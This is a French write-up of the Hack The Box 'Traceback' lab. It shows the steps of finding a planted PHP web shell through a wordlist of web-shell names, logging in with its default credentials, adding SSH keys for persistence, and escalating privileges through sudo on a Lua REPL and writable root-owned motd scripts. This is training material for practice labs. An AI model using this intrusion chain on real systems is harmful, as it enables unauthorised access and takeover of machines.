20 Avr

HTB – Traceback – Write-up

Introduction

Traceback est une machine virtuelle Linux plutôt fun à faire, que ce soit pour la partie énumération que l’élévation des privilèges.

Pour ma part, j’ai appris à utiliser un nouvel outil pour arriver à mes fins.

La phase d’énumération sort un peu de l’ordinaire et nous force à nous creuser les méninges.

Les informations que nous avons à notre disposition sont :

  • IPv4 = 10.10.10.181
  • Nom de la VM = traceback.htb (par défaut chez HTB)

J’ai utilisé une VM Kali Rolling pour cet article. La plupart des outils utilisés sont disponibles par défaut et certains seront à téléchargés. Nous utiliserons différentes techniques pour parvenir à nos fins.

Phase de reconnaissance

J’effectue un scan (TCP) complet de la machine virtuelle de cette manière :

nmap -A -T4 -sV -p1-65535 -Pn -n --stats-every 10 10.10.10.181 --min-rate 100 -oN nmap-traceback-complete.txt

On identifie ainsi rapidement tous les ports ouverts avec leurs services respectifs. Seulement deux ports (TCP) ouverts :

22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))

Je n’effectue pas de scan des ports UDP.

Phase d’énumération 1/2

D’après les ports ouverts nous voyons qu’il s’agit d’un simple serveur Web. Une seule page Web accessible lors de la connexion :

Une simple page web avec une information utile…

Il semble y avoir une porte dérobée mais laquelle…

J’ai commencé par regarder le site Web en profondeur (fuzzing) avec différents outils et listes de mots mais sans succès…

Mais en regardant le code source de la page, on a un indice :

Un indice, un shell Web…

Du coup, j’ai fait une recherche sur Internet (Google) avec les mots clés web shells Xh4H (signature du message) et là on tombe sur la page GitHub de l’auteur (le premier lien). Puis avec une recherche sur la page (CTRL + F) avec le mot shell on a ce dépôt :

Et en bas de la page du dépôt on retrouve la fameuse citation, nous sommes sur la bonne piste :

La même citation que dans le code source de la page Web…

Je décide de créer ma propre liste de mots avec les pages présentes :

root@HTB:~/HTB/Traceback# cat wordlist.txt
alfa3.php
alfav3.0.1.php
andela.php
bloodsecv4.php
by.php
c99ud.php
cmd.php
configkillerionkros.php
jspshell.jsp
mini.php
obfuscated-punknopass.php
punk-nopass.php
punkholic.php
r57.php
smevk.php
wso2.8.5.php

Puis je lance à nouveau une recherche avec l’outil DirSearch et cette fois on obtient un résultat prometteur :

Enfin on tient quelque chose !

Nous avons enfin accès à la porte dérobée :

La page smevk.php

Sur GitHub, le code source indique que par défaut les accès sont admin/admin :

admin / admin…

Effectivement, c’est bien ca 🙂

Nous sommes (enfin) connectés.

Nous pouvons constater que notre user s’appelle webadmin :

$ whoami
webadmin

Malheureusement, pas de fichier user.txt mais d’autres fichiers intéressants qui devraient nous aider pour la suite :

$ ls -la
total 44
drwxr-x--- 5 webadmin sysadmin 4096 Mar 16 04:03 .
drwxr-xr-x 4 root root 4096 Aug 25 2019 ..
-rw------- 1 webadmin webadmin 105 Mar 16 04:03 .bash_history
-rw-r--r-- 1 webadmin webadmin 220 Aug 23 2019 .bash_logout
-rw-r--r-- 1 webadmin webadmin 3771 Aug 23 2019 .bashrc
drwx------ 2 webadmin webadmin 4096 Aug 23 2019 .cache
drwxrwxr-x 3 webadmin webadmin 4096 Aug 24 2019 .local
-rw-rw-r-- 1 webadmin webadmin 1 Aug 25 2019 .luvit_history
-rw-r--r-- 1 webadmin webadmin 807 Aug 23 2019 .profile
drwxrwxr-x 2 webadmin webadmin 4096 Feb 27 06:29 .ssh
-rw-rw-r-- 1 sysadmin sysadmin 122 Mar 16 03:53 note.txt

Nous allons ajouter notre clé publique SSH sur le serveur. Pour cela, il suffit de se rendre dans le dossier /home/webadmin/.ssh puis d’éditer le fichier authorized_keys et de cliquer sur >> pour valider :

Ajoutons notre clé publique SSH

Il ne reste plus qu’à se connecter et à poursuivre nos recherches :

root@HTB:~/HTB/Traceback# ssh -i ~/.ssh/id_rsa webadmin@10.10.10.181
#
-------- OWNED BY XH4H ---------
I guess stuff could have been configured better ^^ -
#
Welcome to Xh4H land
Last login: Thu Feb 27 06:29:02 2020 from 10.10.14.3
webadmin@traceback:~$

Je m’intéresse toujours à l’historique des commandes Bash, il y a souvent des chose intéressantes, et c’est le cas ici avec le script luvit qui se lancerait avec les droits d’un second utilisateur, sysadmin :

webadmin@traceback:~$ cat .bash_history
ls -la
sudo -l
nano privesc.lua
sudo -u sysadmin /home/sysadmin/luvit privesc.lua
rm privesc.lua
logout

On a la confirmation avec le fichier note.txt :

webadmin@traceback:~$ cat note.txt
sysadmin -
I have left a tool to practice Lua.
I'm sure you know where to find it.
Contact me if you have any question.

Phase d’exploitation 1/2

Nous pouvons effectivement lancer le script, nous obtenons une sorte de Shell dédié au langage de script LUA :

webadmin@traceback:~$ sudo -u sysadmin /home/sysadmin/luvit
Welcome to the Luvit repl!
>

J’effectue des recherches sur Internet sur ce langage et je tombe sur ce cite : https://gtfobins.github.io/gtfobins/lua/. Il semble possible d’obtenir un Shell interactif.

Obtenir un Shell interactif avec LUA.

Effectivement, cela fonctionne, et nous obtenons les droits du second utilisateur sysadmin :

Et voilà, nous sommes sysadmin.

Il nous suffit là aussi d’ajouter notre clé publique SSH afin d’obtenir une connexion SSH confortable pour continuer l’énumération :

On ajoute notre clé SSH publique.

Parfait, cela fonctionne :

root@HTB:~/HTB/Traceback# ssh -i ~/.ssh/id_rsa sysadmin@10.10.10.181
#
-------- OWNED BY XH4H ---------
I guess stuff could have been configured better ^^ -
#
Welcome to Xh4H land
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Mon Mar 16 03:50:24 2020 from 10.10.14.2
$ bash
sysadmin@traceback:~$

Nous pouvons obtenir le fichier user.txt, enfin :

sysadmin@traceback:~$ cat user.txt
4a3e8183cde813a34ffd94180e7e216a

Phase d’énumération 2/2

Je commence à faire le tour du propriétaire manuellement mais je ne trouve rien. Je décide d’utiliser le script LinEnum.sh mais sur le coup rien ne me saute aux yeux. Sur le forum de Hack the box je vois le nom d’un outil qui circule que je ne connaissais pas et décide de m’en servir : https://github.com/DominicBreuker/pspy.

Je le copie sur le serveur et l’exécute :

root@HTB:~/HTB/Traceback# scp -i ~/.ssh/id_rsa pspy64 sysadmin@10.10.10.181:pspy64

Après quelques secondes je vois un message apparaître :

Un script est lancé toutes les 30 secondes…

Pourquoi un script écraserait toutes les 30 secondes les bannières de connexion au shell (motd) ?… et là cela me donne idée ! Vérifier les droits que nous avons dans le répertoire /etc :

sysadmin@traceback:~$ find /etc/ -writable
find: ‘/etc/ssl/private’: Permission denied
/etc/update-motd.d/50-motd-news
/etc/update-motd.d/10-help-text
/etc/update-motd.d/91-release-upgrade
/etc/update-motd.d/00-header
/etc/update-motd.d/80-esm

sysadmin@traceback:~$ ll /etc/update-motd.d/*
-rwxrwxr-x 1 root sysadmin 981 Apr 19 16:26 /etc/update-motd.d/00-header*
-rwxrwxr-x 1 root sysadmin 982 Apr 19 16:26 /etc/update-motd.d/10-help-text*
-rwxrwxr-x 1 root sysadmin 4264 Apr 19 16:26 /etc/update-motd.d/50-motd-news*
-rwxrwxr-x 1 root sysadmin 604 Apr 19 16:26 /etc/update-motd.d/80-esm*
-rwxrwxr-x 1 root sysadmin 299 Apr 19 16:26 /etc/update-motd.d/91-release-upgrade*

Bingo ! Nous pouvons écrire dans ces fichiers qui appartiennent à root. La suite est toute simple : modifier l’un de ces fichiers afin de pouvoir obtenir des accès privilégié. Mais il faudra faire vite !

Phase d’exploitation 2/2

Pour la phase d’exploitation j’ai ouvert quatre consoles avec pour chacune un accès Shell (SSH), comme ceci (vidéo de démonstration en dessous) :

  1. Un Shell qui surveille le processus de copie (en bas à droite)
  2. Un Shell pour copier le fichier root.txt (en bas à gauche)
  3. Un Shell qui surveille la copie du fichier (en haut à droite)
  4. Un shell qui va déclencher l’exploitation (en haut à gauche)

Et voilà, nous avons pu atteindre l’objectif 🙂

sysadmin@traceback:~$ cat root.txt
eacee4160b184a5937ce2ff366e08a00

Conclusion

Machine virtuelle sympathique donc qui change un peu de l’ordinaire, un vrai CTF finalement.

Pour ma part j’ai découvert un nouvel outil qui me servira pour la suite : pspy64 qui est bien fichu.